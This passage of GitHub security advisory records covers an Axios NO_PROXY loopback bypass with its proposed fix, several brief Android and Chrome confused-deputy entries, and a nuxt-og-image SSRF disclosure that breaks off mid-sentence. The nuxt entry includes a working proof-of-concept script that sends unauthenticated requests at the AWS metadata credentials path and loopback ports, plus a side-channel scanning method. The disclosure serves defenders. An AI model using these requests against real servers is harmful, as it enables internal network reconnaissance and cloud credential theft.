categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects:    Application \u2192 127.0.0.2:8080 (direct)\nActual behaviour:     Application \u2192 Attacker Proxy \u2192 127.0.0.2:8080\nThe proxy receives:\n  - Full request URL\n  - HTTP method\n  - All request headers (including Authorization, Cookie, API keys)\n  - Request body (for POST/PUT requests)\n  - Full response from the internal service\n```\nThe developer receives no error or warning. From the application\u0027s perspective, the request succeeds normally.\n\n**Impact 2 \u2014 SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n  NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n  All loopback/internal addresses\nWhat is actually protected:\n  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 \u2014 Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 \u2014 Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 \u2014 No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application\u0027s perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x \u2260 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1\u20133. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Axios 1.15.0\n// Lines 1\u20133 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1\u20133 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1\u20133 (PROPOSED FIX \u2014 RFC 1122 \u00a73.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n  // Named loopback hostname\n  if (host === \u0027localhost\u0027) return true;\n  // IPv6 loopback address\n  if (host === \u0027::1\u0027) return true;\n  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 \u00a73.2.1.3)\n  // Matches any address from 127.0.0.0 through 127.255.255.254\n  const parts = host.split(\u0027.\u0027);\n  return (\n    parts.length === 4 \u0026\u0026\n    parts[0] === \u0027127\u0027 \u0026\u0026\n    parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n  );\n};\n```\n**5.3 Diff View \u2014 Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+   if (host === \u0027localhost\u0027) return true;\n+   if (host === \u0027::1\u0027) return true;\n+   const parts = host.split(\u0027.\u0027);\n+   return (\n+     parts.length === 4 \u0026\u0026\n+     parts[0] === \u0027127\u0027 \u0026\u0026\n+     parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+   );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 \u2014 RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 \u00a73.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 \u00a73.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 \u2014 The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 \u2014 Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table \u2014 default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios\u0027s current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 \u2014 The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`\u0027localhost\u0027`, `\u0027::1\u0027`) \u2014 O(1)\n2. A `split(\u0027.\u0027)` and array validation \u2014 O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 \u2014 The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 \u2014 Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node\u0027s native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split(\u0027.\u0027)` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation \u2014 IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n\u00270:0:0:0:0:0:0:1\u0027      // Full notation of ::1\n\u0027::ffff:127.0.0.1\u0027     // IPv4-mapped IPv6 loopback\n\u0027::ffff:7f00:1\u0027        // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.",
  "id": "GHSA-pmwg-cvhr-8vh7",
  "modified": "2026-05-05T00:20:58Z",
  "published": "2026-05-05T00:20:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-28657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T19:17:56Z",
    "severity": "HIGH"
  },
  "details": "In onActivityResult of AppWidgetConfigActivityProxy.java, there is a possible unauthorized URI permission grant due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-pp33-r826-5j77",
  "modified": "2026-09-10T15:33:00Z",
  "published": "2026-09-08T21:34:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28657"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-84329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T00:18:27Z",
    "severity": "MODERATE"
  },
  "details": "Confused deputy in CredentialProvider in Google Chrome on on Windows prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-pp65-f62j-x6p7",
  "modified": "2026-09-02T12:31:24Z",
  "published": "2026-09-02T00:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84329"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/498850269"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-48646"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-02T19:16:28Z",
    "severity": "HIGH"
  },
  "details": "In executeRequest of ActivityStarter.java, there is a possible launch anywhere due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-q2vc-9qcc-3fwh",
  "modified": "2026-03-06T06:30:30Z",
  "published": "2026-03-02T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48646"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-32346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:37Z",
    "severity": "HIGH"
  },
  "details": "In onActivityResult of VoicemailSettingsActivity.java, there is a possible work profile contact number leak due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-q3v2-p7qq-49mc",
  "modified": "2025-09-05T18:31:19Z",
  "published": "2025-09-04T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32346"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-0021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-02T19:16:30Z",
    "severity": "HIGH"
  },
  "details": "In hasInteractAcrossUsersFullPermission of AppInfoBase.java, there is a possible cross-user permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-q689-c7qh-hgv3",
  "modified": "2026-03-06T06:30:31Z",
  "published": "2026-03-02T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0021"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt-og-image"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.2"
            },
            {
              "fixed": "6.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-20",
      "CWE-441",
      "CWE-749",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:48:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`nuxt-og-image` exposes an **unauthenticated HTTP endpoint** at `/_og/d/**` that base64url-decodes and `JSON.parse`s a `fonts` URL segment, then passes each `fonts[i].path` value directly into `fetch()` server-side **without any URL validation** (no scheme allowlist, no loopback/RFC1918 block, no host allowlist, no DNS rebinding mitigation).\n\nUnder the module\u0027s documented default configuration (`security.strict = false`, `security.secret = \"\"`, `restrictRuntimeImagesToOrigin = false`), any caller able to reach the deployed Nuxt site can force the Nuxt server to issue arbitrary outbound `GET` requests to any host reachable from the server - including loopback, RFC1918 LAN, and cloud metadata services (AWS IMDS, GCE/Azure metadata, Kubernetes `kubelet`, internal admin panels, Redis/etcd/Consul/Vault HTTP APIs).\n\nThe chain is **blind** (Satori consumes the response as font bytes and silently discards non-fonts) but a robust **side-channel** exists: the outer HTTP status is `500` when the SSRF target returns `2xx`, and `200` when it fails or returns non-`2xx`. This is sufficient to (a) enumerate live internal services and open ports, (b) confirm IMDSv1 reachability, and (c) detect credential issuance on environments still allowing IMDSv1.\n\nDemonstrated end-to-end on a stock `npm create nuxt@latest` install with the module\u0027s documented default usage.\n\n### Detail\n\n#### Endpoint registration (unauthenticated)\n\nThe module registers `/_og/d/**` and `/_og/s/**` with no authentication / Origin check / Sec\u2011Fetch\u2011Site validation:\n\n```js\n// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5113-5133\naddServerHandler({ route: \"/_og/d/**\", handler: resolve(\"./runtime/server/routes/image\") })\naddServerHandler({ route: \"/_og/s/**\", handler: resolve(\"./runtime/server/routes/image\") })\n```\n\n#### Default security config (permissive)\n\n```js\n// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5618-5640\nsecurity: {\n  strict:                       config.security?.strict ?? false,         // \u003c- gate disabled\n  secret:                       config.security?.secret ?? process.env.NUXT_OG_IMAGE_SECRET ?? \"\",\n                                                                          //   \u2191 no signature requirement\n  restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,\n                                                                          //   \u2191 inbound host allowlist disabled\n  maxQueryParamSize:            config.security?.maxQueryParamSize ?? null,\n  renderTimeout:                config.security?.renderTimeout ?? 15000,\n  imageFetchTimeout:            config.security?.imageFetchTimeout ?? 3000,\n}\n```\n\nThe `secret`/signature branch is gated on `secret \u0026\u0026` (truthy), so an empty string skips it entirely:\n\n```js\n// dist/runtime/server/og-image/context.js : 49-69\nconst secret = runtimeConfig.security?.secret\nlet paramsSegment = encodedSegment\nif (secret \u0026\u0026 !import.meta.dev \u0026\u0026 !import.meta.prerender) {\n  // signature enforcement happens HERE - but only if secret is non-empty.\n  // Default install: secret === \"\" -\u003e entire block skipped.\n}\n```\n\n#### Attacker-controlled deserialization of `fonts`\n\n`fonts` is enumerated as a **complex parameter**: its value is base64url-decoded and then `JSON.parse`d straight into `options`:\n\n```js\n// dist/runtime/shared/urlEncoding.js : 65\nconst COMPLEX_PARAMS = new Set([\"satori\",\"resvg\",\"sharp\",\"screenshot\",\"takumi\",\"fonts\",\"_query\",\"_path\"])\n\n// dist/runtime/shared/urlEncoding.js : 184-231\nexport function decodeOgImageParams(encoded) {\n  ...\n  for (const part of parts) {\n    const idx = part.search(RE_SINGLE_UNDERSCORE)\n    if (idx === -1) continue\n    const alias = part.slice(0, idx)\n    let value = part.slice(idx + 1)\n    const paramName = PARAM_ALIASES[alias] || alias\n    if (COMPLEX_PARAMS.has(paramName)) {\n      try {\n        const json = b64Decode(value)\n        options[paramName] = JSON.parse(json)        // \u003c- attacker JSON survives unchanged\n      } catch { options[paramName] = value }\n    }\n    ...\n  }\n}\n```\n\n`defu` then merges attacker values into the request options:\n\n```js\n// dist/runtime/server/og-image/context.js : 135\noptions = defu(queryParams, urlOptions, ogImageRouteRules, runtimeConfig.defaults)\n// -\u003e options.fonts = [{ name: \"X\", path: \"\u003cattacker-URL\u003e\", ... }]\n```\n\n#### From `options.fonts` to the unfettered `fetch()`\n\n```js\n// dist/runtime/server/og-image/satori/renderer.js : 36-42\nconst fonts = await loadFontsForRenderer(event, {\n  ...options,\n  fontDefs: options.fonts,           // \u003c- attacker array flows in\n})\n\n// dist/runtime/server/og-image/fonts.js : 175-201\nexport async function loadDefinedFonts(event, fontDefs) {\n  for (const def of fontDefs) {\n    if (!def || typeof def !== \"object\" || !def.path) continue   // \u003c- only validation\n    const fontConfig = { family: def.name, weight: def.weight||400, style: def.style, src: def.path, localPath: def.path }\n    const data = await resolve(event.e, fontConfig).catch(() =\u003e null)\n    ...\n  }\n}\n```\n\nThe production binding (selected for every non-dev / non-prerender preset - `dist/shared/nuxt-og-image.DdbTs-xp.mjs:5445-5452`):\n\n```js\n// dist/runtime/server/og-image/bindings/font-assets/node.js : 6-21    \u003c- SINK\nexport async function resolve(event, font) {\n  const path     = font.src || font.localPath                    // attacker-controlled\n  const { app } = useRuntimeConfig()\n  const fullPath = withBase(path, app.baseURL)                   // ufo.withBase returns absolute URLs unchanged\n  const origin   = getNitroOrigin(event)\n  const timeout  = getFetchTimeout(useOgImageRuntimeConfig())    // 3000 ms by default\n  const res = await fetch(\n    new URL(fullPath, origin).href,                              // \u003c- when fullPath is absolute,\n    { signal: AbortSignal.timeout(timeout) },                    //   origin is ignored\n  ).catch(() =\u003e null)                                            //   -\u003e fetch(attacker-URL)\n  ...\n}\n```\n\n`ufo.withBase(\"http://target/\", \"/\")` returns `\"http://target/\"` unchanged when the input is already an absolute URL; `new URL(abs, origin)` then yields the absolute URL. No `URL.protocol` check, no IP-literal block, no DNS-resolution-aware allowlist, no redirect cap.\n\n#### Side-channel for blind exfiltration\n\nAlthough the response body is consumed as font bytes and Satori discards non-font payloads, the **outer HTTP status code differs deterministically** based on the SSRF target\u0027s response:\n\n| Target returns | Satori behavior | Outer response |\n|----------------|-----------------|----------------|\n| `2xx` with non-font body | `parseFont(bytes)` throws | `HTTP 500` |\n| Connection refused / timeout / non-`2xx` | `fetch().catch(() =\u003e null)` -\u003e fallback fonts used | `HTTP 200` (a PNG is returned) |\n\nThe boolean oracle (target alive \u0026 answered 2xx vs. not) is sufficient to:\n\n- enumerate open ports on `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`\n- detect cloud metadata reachability (and on legacy AWS IMDSv1, trigger credential issuance - even without read-back, the *act* of issuing credentials creates audit-trail and timing observables)\n- distinguish health-check responses, vault-init status, k8s `kubelet` `/pods` reachability, etc.\n\n### Steps To Reproduce\n\n```bash\n# 1. Create a stock Nuxt 4 app and add the module\nnpm create nuxt@latest lab-test --yes        # accept defaults\ncd lab-test\nnpm install nuxt-og-image                    # -\u003e installs v6.6.0 (current latest)\n```\n\n`nuxt.config.ts` - the **only** change is enabling the module:\n\n```ts\nexport default defineNuxtConfig({\n  compatibilityDate: \u00272025-07-15\u0027,\n  modules: [\u0027nuxt-og-image\u0027],\n  // NO `ogImage.security` overrides - accept module defaults.\n})\n```\n\nThe module requires at least one OG image component to be registered (its documented Hello\u2011World; otherwise the endpoint returns `500 No OG Image components found`). Add the minimal one:\n\n```bash\nmkdir -p app/components/OgImage\ncat \u003e app/components/OgImage/Default.satori.vue \u003c\u003c\u0027EOF\u0027\n\u003cscript setup lang=\"ts\"\u003e\ndefineProps\u003c{ title?: string }\u003e()\n\u003c/script\u003e\n\u003ctemplate\u003e\n  \u003cdiv style=\"display:flex;padding:32px;font-size:48px;background:#fff\"\u003e\n    {{ title || \u0027Acme\u0027 }}\n  \u003c/div\u003e\n\u003c/template\u003e\nEOF\n```\n\n#### Start a local sink to prove the SSRF (1 file)\n\n`ssrf-sink.mjs`:\n\n```js\nimport http from \u0027node:http\u0027\nimport fs   from \u0027node:fs\u0027\nconst LOG = \u0027/tmp/ssrf-sink.log\u0027; fs.writeFileSync(LOG, \u0027\u0027)\nhttp.createServer((req, res) =\u003e {\n  const line = JSON.stringify({ ts: new Date().toISOString(), method: req.method, url: req.url, ua: req.headers[\u0027user-agent\u0027], remote: req.socket.remoteAddress })\n  fs.appendFileSync(LOG, line + \u0027\\n\u0027); console.log(\u0027HIT:\u0027, line)\n  res.writeHead(200, { \u0027content-type\u0027: \u0027application/octet-stream\u0027 }).end(\u0027NOT_A_FONT_BUT_2XX\u0027)\n}).listen(9000, \u0027127.0.0.1\u0027, () =\u003e console.log(\u0027sink ready 127.0.0.1:9000\u0027))\n```\n\n```bash\nnode ssrf-sink.mjs \u0026\nnpm run dev          # Nuxt on http://127.0.0.1:3000\n```\n\n#### Exploit script - one HTTP request, no auth (`poc.mjs`)\n\n```js\nconst b64url = s =\u003e Buffer.from(s,\u0027utf8\u0027).toString(\u0027base64\u0027)\n  .replace(/=/g,\u0027\u0027).replace(/\\+/g,\u0027-\u0027).replace(/\\//g,\u0027~\u0027)\n\n// The entire attack: a single attacker-crafted GET.\nasync function ssrf (attackerURL) {\n  const seg = \u0027fonts_\u0027 + b64url(JSON.stringify([{ name:\u0027X\u0027, path: attackerURL }]))\n  const url = `http://127.0.0.1:3000/_og/d/${seg}.png`     // \u003c- unauth, no header\n  const r = await fetch(url)\n  console.log(`SSRF target=${attackerURL}  outer-status=${r.status}`)\n}\n\nawait ssrf(\u0027http://127.0.0.1:9000/PWN?via=og-image\u0027)          // sink - proves primitive\nawait ssrf(\u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027)   // AWS IMDSv1\nawait ssrf(\u0027http://127.0.0.1:22/\u0027)                            // loopback port probe\n```\n\n#### Run\n\n```bash\nnode poc.mjs\n```\n\n#### Observed result (captured during the actual lab run, 2026-06-23 10:52 UTC)\n\n```\nSSRF target=http://127.0.0.1:9000/PWN?via=og-image                                outer-status=500\nSSRF target=http://169.254.169.254/latest/meta-data/iam/security-credentials/     outer-status=200\nSSRF target=http://127.0.0.1:22/                                                  outer-status=200\n```\n\n`/tmp/ssrf-sink.log`:\n\n```json\n{\"ts\":\"2026-06-23T10:52:12.250Z\",\"method\":\"GET\",\"url\":\"/PWN?via=og-image\",\"ua\":\"node\",\"remote\":\"127.0.0.1\"}\n{\"ts\":\"2026-06-23T10:52:13.706Z\",\"method\":\"GET\",\"url\":\"/etc/passwd?or-any-path\",\"ua\":\"node\",\"remote\":\"127.0.0.1\"}\n```\n\nThe sink received `GET` requests with **attacker-chosen paths**, sourced from the Nuxt server process (`user-agent: node` is the undici/Node `fetch` fingerprint emitted by Nitro; `remote: 127.0.0.1` is the Nuxt server itself on the lab host). No other process on the lab has any reason to call this address with these paths.\n\nReading the outer status codes back as the side-channel:\n\n- `outer-status=500` -\u003e target answered `2xx` (sink confirmed via log)\n- `outer-status=200` -\u003e target did not respond / non-`2xx` (IMDS unreachable from this host; `:22` is SSH, not HTTP). Both cases prove the server-side `fetch()` was issued.\n\n### Impact\n\nThe vulnerability turns any deployed Nuxt site running `nuxt-og-image` (default config) into an **unauthenticated SSRF relay** into its own server-side network. Concrete impact varies by hosting environment:\n\n#### Cloud (AWS / GCP / Azure)\n\n- **AWS EC2 with IMDSv1 still allowed:** `fetch(\u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\u0027)` triggers credential issuance to the role attached to the instance. Even though the response body is not echoed back to the attacker, the call is performed in the instance\u0027s network identity and shows up in CloudTrail; in environments with permissive role policies + persistence (e.g. a backup S3 listing) the attacker can chain via the side-channel into role exfil through other ingress points. (Industry surveys repeatedly show 20-40 % of EC2 fleets still have IMDSv1 enabled.)\n- **GCE / Azure:** metadata is gated on a custom header that `fetch` does not add -\u003e metadata read prevented, but internal Google/Azure network reach is still proven.\n- **EKS / GKE / AKS:** `http://kubernetes.default.svc.cluster.local/api/...` is reachable, as are kube-proxy localhost ports, kubelet on `:10250` (status-only readable via side-channel), and per-pod sidecar admin APIs.\n\n#### Self-hosted / on-prem\n\n- **Internal admin panels** (Grafana, Kibana, Prometheus, Argo, Jenkins, Sentry, Hashicorp Vault `/v1/sys/health`, Consul `/v1/agent/self`) become enumerable. Status-code side-channel reveals init/seal state of Vault, leadership of Consul, etc.\n- **Localhost-bound services** intended as \"developer-only\" (e.g. a debug Redis on `127.0.0.1:6379`, an embedded SQL admin UI on `127.0.0.1:8080`, an internal feature-flag server) become enumerable from the public Internet.\n- **Egress controls bypass**: if the Nuxt deployment is on an allowlist VLAN that may reach `payments-internal` while end users may not, the attacker can probe that VLAN through the relay.\n\n#### Generic\n\n- **Port scanning** of LAN ranges through the deployed site (timing+status side-channel).\n- **Long-lived DoS amplifier**: each request holds a render worker for up to `imageFetchTimeout` (3 s default). 100 concurrent requests to slow-responding internal targets hold all OG workers; coupled with 